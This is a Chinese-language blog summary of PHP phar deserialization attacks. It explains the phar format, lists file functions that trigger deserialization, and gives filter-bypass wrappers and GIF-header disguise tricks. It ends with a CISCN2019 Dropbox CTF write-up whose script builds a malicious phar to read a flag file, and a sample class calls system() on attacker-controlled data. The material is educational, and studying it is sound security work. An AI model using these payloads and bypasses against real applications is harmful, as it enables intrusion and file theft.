0x00 phar反序列化

phar反序列化即在文件系統函數（file_exists()、is_dir()等）參數可控的情況下，配合phar://僞協議，可以不依賴unserialize()直接進行反序列化操作。

關於其他反序列化的總結，可以看我的這篇文章

0x01 原理

首先了解一下phar文件的結構，一個phar文件由四部分構成：

a stub：可以理解爲一個標誌，格式爲xxx<?php xxx; __HALT_COMPILER();?>，前面內容不限，但必須以__HALT_COMPILER();?>來結尾，否則phar擴展將無法識別這個文件爲phar文件。
a manifest describing the contents：phar文件本質上是一種壓縮文件，其中每個被壓縮文件的權限、屬性等信息都放在這部分。這部分還會以序列化的形式存儲用戶自定義的meta-data，這是上述攻擊手法最核心的地方。
the file contents：被壓縮文件的內容。
[optional] a signature for verifying Phar integrity (phar file format only)：簽名，放在文件末尾

0x02 demo

注意：如果想要生成Phar文件，要將php.ini中的phar.readonly選項設置爲Off，否則無法生成phar文件。

<?php
    class Test {}
    $o = new Test();
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //後綴名必須爲phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub
    $phar->setMetadata($o); //將自定義的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要壓縮的文件
    //簽名自動計算
    $phar->stopBuffering();
?>

可以看到meta-data是以序列化的形式存儲的：

0x03 影響的函數

知道創宇的seaii 更爲我們指出了所有文件函數均可使用：

但實際上只要調用了php_stream_open_wrapper的函數，都存在這樣的問題。

因此還有如下函數：

exif

exif_thumbnail
exif_imagetype

imageloadfont
imagecreatefrom

hash

hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file

file / url

get_meta_tags
get_headers
mime_content_type

standard

getimagesize
getimagesizefromstring

finfo

finfo_file
finfo_buffer

zip

$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

Postgres

<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

MySQL

LOAD DATA LOCAL INFILE也會觸發這個php_stream_open_wrapper

<?php
class A {
    public $s = '';
    public function __wakeup () {
        system($this->s);
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');

再配置一下mysqld。（非默認配置）

[mysqld]
local-infile=1
secure_file_priv=""

0x04 Trick

（1）如果過濾了phar://協議怎麼辦呢？

有以下幾種方法可以繞過：

compress.bzip2://phar://
compress.zlib://phar:///
php://filter/resource=phar://

（2）除此之外，我們還可以將phar僞造成其他格式的文件。

php識別phar文件是通過其文件頭的stub，更確切一點來說是__HALT_COMPILER();?>這段代碼，對前面的內容或者後綴名是沒有要求的。那麼我們就可以通過添加任意的文件頭+修改後綴名的方式將phar文件僞裝成其他格式的文件。如下：

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設置stub，增加gif文件頭
    $o = new TestObject();
    $phar->setMetadata($o); //將自定義meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要壓縮的文件
    //簽名自動計算
    $phar->stopBuffering();
?>

可以看到加了GIF89a文件頭，從而使其僞裝成gif文件：

0x05 實例分析

CISCN2019 Dropbox

進入題目後，註冊一個賬號並登錄，發現是一個網盤界面，限制了只能上傳圖片後綴，並能進行下載、刪除操作：

沒有其他什麼利用點，我們抓一下下載的包：

發現可以成功讀取到文件的內容，於是嘗試任意文件下載：

確認存在任意文件下載，upload.php、class.php、download.php、index.php、login.php、register.php均可以下載得到源碼，下面就是進行代碼審計了。

//download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>
=

在download.php中我們可以看到它過濾了flag，這反而說明了flag就在當前目錄下，但是不允許通過任意文件下載讀取。

繼續審計，發現在class.php中File類的close方法有敏感函數file_get_contents()，這裏應該就是利用點。

//class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {//$func = close()
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
            //$file->close()   $file = new File;
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下載</a> / <a href="#" class="delete">刪除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

下面要思考的就是如何才能利用到這個函數，看到這些類以及魔術方法，不難想到應該是使用PHP反序列化來讀取文件。

但是發現整個代碼裏沒有使用unserialize()函數，這時就要利用上面的Phar反序列化，我們尋找利用點。

在delete.php中:

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

可以看到創建了一個File類的對象，然後調用了open()方法，參數就是我們要刪除的文件名，我們去看一下這個open()方法：

public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

使用了file_exists()和is_dir()處理了filename，而前面總結過，這兩個函數都可以造成phar反序列化。

這樣這題的思路就清楚了，即利用phar反序列化控制file_get_contents來讀取flag.txt

於是我們來審計class.php構造序列化腳本，首先找一下有哪些魔術方法，看到User類中__destruct()調用了同名的close()方法，而FileList類中有__call()方法。

熟悉反序列化的應該很容易看出來：將User類的$db實例化爲FIleLise的對象，這樣當析構函數被調用的時候，就會調用FileList類的close()方法，而FileList類並沒有該方法，於是調用__call()方法，觀察一下__call方法：

public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

調用後相當於把close傳給了參數$func，然後遍歷$files分別調用每個值的$func()方法，這裏也就是調用close()，並將結果賦給result。
所以只需要$files裏有一個File類的對象，就能調用File類中的close()方法了，再將File類的filename賦爲/flag.txt即可將結果讀出來，然後在FileList類的__destruct()方法中會result的結果打印出來。

最終腳本如下：

<?php

class User
{
    public $db;

    public function __construct()
    {
        $this->db = new FileList;
    }
}

class FileList
{
    private $files;
    private $results;
    private $funcs;

    public function __construct()
    {
        $file = new File;
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}

class File
{
    public $filename;
    public function __construct()
    {
        $this->filename = '/flag.txt';
    }
}

$o = new User();
@unlink("shell.phar");
$phar = new Phar("shell.phar"); //後綴名必須爲phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub
$phar->setMetadata($o); //將自定義的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();

運行得到shell.phar，改後綴爲png上傳：

在刪除的時候抓包，並加上phar://僞協議，然後發包即可成功讀到flag：

本篇文章以總結爲主，所以部分內容參考了下列文章：
https://paper.seebug.org/680/
https://blog.zsxsoft.com/post/38
https://xz.aliyun.com/t/6057

phar反序列化小結

0x00 phar反序列化

0x01 原理

0x02 demo

0x03 影響的函數

0x04 Trick

0x05 實例分析

CISCN2019 Dropbox

《機器學習實戰》讀書筆記——k-近鄰算法

算法實驗考試複習

領航杯部分Writeup

淺談python反序列化漏洞

學一下shell編程

https://yachay.unat.edu.pe/blog/index.php?comment_area=format_blog&comment_component=blog&comment_co

linux以太網驅動總結